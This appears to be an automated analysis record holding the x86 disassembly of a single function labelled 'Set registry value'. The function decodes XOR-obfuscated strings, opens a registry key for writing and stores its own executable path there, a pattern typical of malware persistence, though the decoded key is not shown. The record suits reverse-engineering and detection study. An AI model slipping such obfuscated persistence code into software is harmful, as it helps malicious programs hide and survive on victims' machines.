Function at 0x10041190
Capabilities:
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x103dda04]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x100
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 0x370], 0xe855ed56
lea eax, [ebp - 0x314]
mov dword [ebp - 0x36c], 0x2f1a8542
mov dword [ebp - 0x368], 0xd4c489de
mov dword [ebp - 0x364], 0x8511209a
mov dword [ebp - 0x360], 0x1e749f61
mov dword [ebp - 0x35c], 0x90056a5e
mov dword [ebp - 0x358], 0x29e2b563
mov dword [ebp - 0x354], 0xaaa82d76
mov dword [ebp - 0x350], 0x66698cfb
mov dword [ebp - 0x34c], 0x77c168d
mov dword [ebp - 0x348], 0x29e81455
mov dword [ebp - 0x344], 0x71239bd0
mov dword [ebp - 0x340], 0xc88507c8
mov dword [ebp - 0x33c], 0x525e829a
mov dword [ebp - 0x338], 0xa4c7d3a9
mov dword [ebp - 0x334], 0x2af1b3aa
mov dword [ebp - 0x330], 0x1dcc08bf
mov dword [ebp - 0x32c], 0x9ff81ced
mov dword [ebp - 0x328], 0x8dc6506a
mov dword [ebp - 0x324], 0xff4c93c0
movaps xmm1, xmmword [ebp - 0x370]
mov dword [ebp - 0x260], 0xbc13a205
mov dword [ebp - 0x25c], 0x6a48c415
mov dword [ebp - 0x258], 0xb7adc482
mov dword [ebp - 0x254], 0xea624fe8
pxor xmm1, xmmword [ebp - 0x260]
movaps xmmword [ebp - 0x370], xmm1
movaps xmm1, xmmword [ebp - 0x360]
mov dword [ebp - 0x250], 0x4928eb07
mov dword [ebp - 0x24c], 0xff610437
mov dword [ebp - 0x248], 0x67c2c614
mov dword [ebp - 0x244], 0xdfeb7122
pxor xmm1, xmmword [ebp - 0x250]
movaps xmmword [ebp - 0x360], xmm1
movaps xmm1, xmmword [ebp - 0x350]
mov dword [ebp - 0x240], 0x80cfe89
mov dword [ebp - 0x23c], 0x751940f9
mov dword [ebp - 0x238], 0x47877d26
mov dword [ebp - 0x234], 0x153da8c
pxor xmm1, xmmword [ebp - 0x240]
movaps xmmword [ebp - 0x350], xmm1
movaps xmm1, xmmword [ebp - 0x340]
push eax
push 0x20006
mov dword [ebp - 0x230], 0xb8e8688b
lea eax, [ebp - 0x370]
mov dword [ebp - 0x22c], 0x3e18f6fb
mov dword [ebp - 0x228], 0xf8b4b4c8
mov dword [ebp - 0x224], 0x4f88d2e6
pxor xmm1, xmmword [ebp - 0x230]
movaps xmmword [ebp - 0x340], xmm1
movaps xmm1, xmmword [ebp - 0x330]
push 0
mov dword [ebp - 0x220], 0x1dcc7bcd
mov dword [ebp - 0x21c], 0x9ff81ced
mov dword [ebp - 0x218], 0x8dc6506a
mov dword [ebp - 0x214], 0xff4c93c0
pxor xmm1, xmmword [ebp - 0x220]
push eax
push SysReAllocString
movaps xmmword [ebp - 0x330], xmm1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10041881
mov dword [ebp - 0x420], 0xbc33a27b
mov dword [ebp - 0x41c], 0x6a1fc451
mov dword [ebp - 0x418], 0xb795c4cf
mov dword [ebp - 0x414], 0xea0c4fa9
mov dword [ebp - 0x410], 0x4919eb63
mov dword [ebp - 0x40c], 0xff230401
mov dword [ebp - 0x408], 0x67b6c67d
mov dword [ebp - 0x404], 0xdf82716f
mov dword [ebp - 0x400], 0x865fefd
mov dword [ebp - 0x3fc], 0x7578409e
mov dword [ebp - 0x3f8], 0x47ee7d52
mov dword [ebp - 0x3f4], 0x13ddae3
mov dword [ebp - 0x3f0], 0xb8ba68ab
mov dword [ebp - 0x3ec], 0x3e56f6ae
mov dword [ebp - 0x3e8], 0xf8e7b489
mov dword [ebp - 0x3e4], 0x4fccd2a7
mov dword [ebp - 0x3e0], 0x1d857b80
mov dword [ebp - 0x3dc], 0x9fd81ca3
mov dword [ebp - 0x3d8], 0x8d83503a
mov dword [ebp - 0x3d4], 0xff1c9392
mov dword [ebp - 0x3d0], 0xee32869d
mov dword [ebp - 0x3cc], 0xa7ec254c
mov dword [ebp - 0x3c8], 0xe544afaf
mov dword [ebp - 0x3c4], 0x41ebb049
mov dword [ebp - 0x3c0], 0x7b65a682
mov dword [ebp - 0x3bc], 0xb89aa2f4
mov dword [ebp - 0x3b8], 0x9fba996a
mov dword [ebp - 0x3b4], 0xd71aa66d
mov dword [ebp - 0x3b0], 0xc3c809c
mov dword [ebp - 0x3ac], 0x83518d70
mov dword [ebp - 0x3a8], 0x34fe555f
mov dword [ebp - 0x3a4], 0x99e325f8
mov dword [ebp - 0x3a0], 0x3d1f0cd1
mov dword [ebp - 0x39c], 0x482e530c
mov dword [ebp - 0x398], 0x1990e75c
mov dword [ebp - 0x394], 0x1aba8c4f
mov dword [ebp - 0x390], 0x705311c5
mov dword [ebp - 0x38c], 0xb1f0e147
mov dword [ebp - 0x388], 0x384665ed
mov dword [ebp - 0x384], 0x96d7c065
mov dword [ebp - 0x380], 0x1b0d93cd
mov dword [ebp - 0x37c], 0x3d7fa6a9
mov dword [ebp - 0x378], 0xff3bd5b6
mov dword [ebp - 0x374], 0x26f45d3c
mov dword [ebp - 0x310], 0xbc13a205
mov dword [ebp - 0x30c], 0x6a48c415
mov dword [ebp - 0x308], 0xb7adc482
mov dword [ebp - 0x304], 0xea624fe8
mov dword [ebp - 0x300], 0x4928eb07
mov dword [ebp - 0x2fc], 0xff610437
mov dword [ebp - 0x2f8], 0x67c2c614
mov dword [ebp - 0x2f4], 0xdfeb7122
mov dword [ebp - 0x2f0], 0x80cfe89
mov dword [ebp - 0x2ec], 0x751940f9
mov dword [ebp - 0x2e8], 0x47877d26
mov dword [ebp - 0x2e4], 0x153da8c
mov dword [ebp - 0x2e0], 0xb8e8688b
mov dword [ebp - 0x2dc], 0x3e18f6fb
mov dword [ebp - 0x2d8], 0xf8b4b4c8
mov dword [ebp - 0x2d4], 0x4f88d2e6
mov dword [ebp - 0x2d0], 0x1dcc7bcd
mov dword [ebp - 0x2cc], 0x9ff81ced
mov dword [ebp - 0x2c8], 0x8dc6506a
mov dword [ebp - 0x2c4], 0xff4c93c0
mov dword [ebp - 0x2c0], 0xee7d86cf
mov dword [ebp - 0x2bc], 0xa7a9250f
mov dword [ebp - 0x2b8], 0xe517affc
mov dword [ebp - 0x2b4], 0x41b2b01a
mov dword [ebp - 0x2b0], 0x7b31a6d1
mov dword [ebp - 0x2ac], 0xb8d7a2b1
mov dword [ebp - 0x2a8], 0x9fea992e
mov dword [ebp - 0x2a4], 0xd75ca624
mov dword [ebp - 0x2a0], 0xc6e80d3
mov dword [ebp - 0x29c], 0x83148d33
mov dword [ebp - 0x298], 0x34b85510
mov dword [ebp - 0x294], 0x99c325be
mov dword [ebp - 0x290], 0x3d4f0c95
mov dword [ebp - 0x28c], 0x487b5345
mov dword [ebp - 0x288], 0x19d1e712
mov dword [ebp - 0x284], 0x1afb8c18
mov dword [ebp - 0x280], 0x70161197
movaps xmm1, xmmword [ebp - 0x420]
lea eax, [ebp - 0x420]
pxor xmm1, xmmword [ebp - 0x310]
movaps xmmword [ebp - 0x420], xmm1
movaps xmm1, xmmword [ebp - 0x410]
pxor xmm1, xmmword [ebp - 0x300]
movaps xmmword [ebp - 0x410], xmm1
movaps xmm1, xmmword [ebp - 0x400]
pxor xmm1, xmmword [ebp - 0x2f0]
movaps xmmword [ebp - 0x400], xmm1
movaps xmm1, xmmword [ebp - 0x3f0]
pxor xmm1, xmmword [ebp - 0x2e0]
movaps xmmword [ebp - 0x3f0], xmm1
movaps xmm1, xmmword [ebp - 0x3e0]
pxor xmm1, xmmword [ebp - 0x2d0]
movaps xmmword [ebp - 0x3e0], xmm1
movaps xmm1, xmmword [ebp - 0x3d0]
pxor xmm1, xmmword [ebp - 0x2c0]
movaps xmmword [ebp - 0x3d0], xmm1
movaps xmm1, xmmword [ebp - 0x3c0]
pxor xmm1, xmmword [ebp - 0x2b0]
movaps xmmword [ebp - 0x3c0], xmm1
movaps xmm1, xmmword [ebp - 0x3b0]
pxor xmm1, xmmword [ebp - 0x2a0]
movaps xmmword [ebp - 0x3b0], xmm1
movaps xmm1, xmmword [ebp - 0x3a0]
pxor xmm1, xmmword [ebp - 0x290]
push 0xa8
push eax
movaps xmmword [ebp - 0x3a0], xmm1
lea eax, [ebp - 0x208]
movaps xmm1, xmmword [ebp - 0x390]
push 1
mov dword [ebp - 0x27c], 0xb1a7e167
mov dword [ebp - 0x278], 0x380865a4
mov dword [ebp - 0x274], 0x9685c052
pxor xmm1, xmmword [ebp - 0x280]
push 0
movaps xmmword [ebp - 0x390], xmm1
movaps xmm1, xmmword [ebp - 0x380]
push eax
push dword [ebp - 0x314]
mov dword [ebp - 0x270], 0x1b409399
mov dword [ebp - 0x26c], 0x3d7fa6a9
mov dword [ebp - 0x268], 0xff3bd5b6
mov dword [ebp - 0x264], 0x26f45d3c
pxor xmm1, xmmword [ebp - 0x270]
movaps xmmword [ebp - 0x380], xmm1
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x314]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100b684e
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret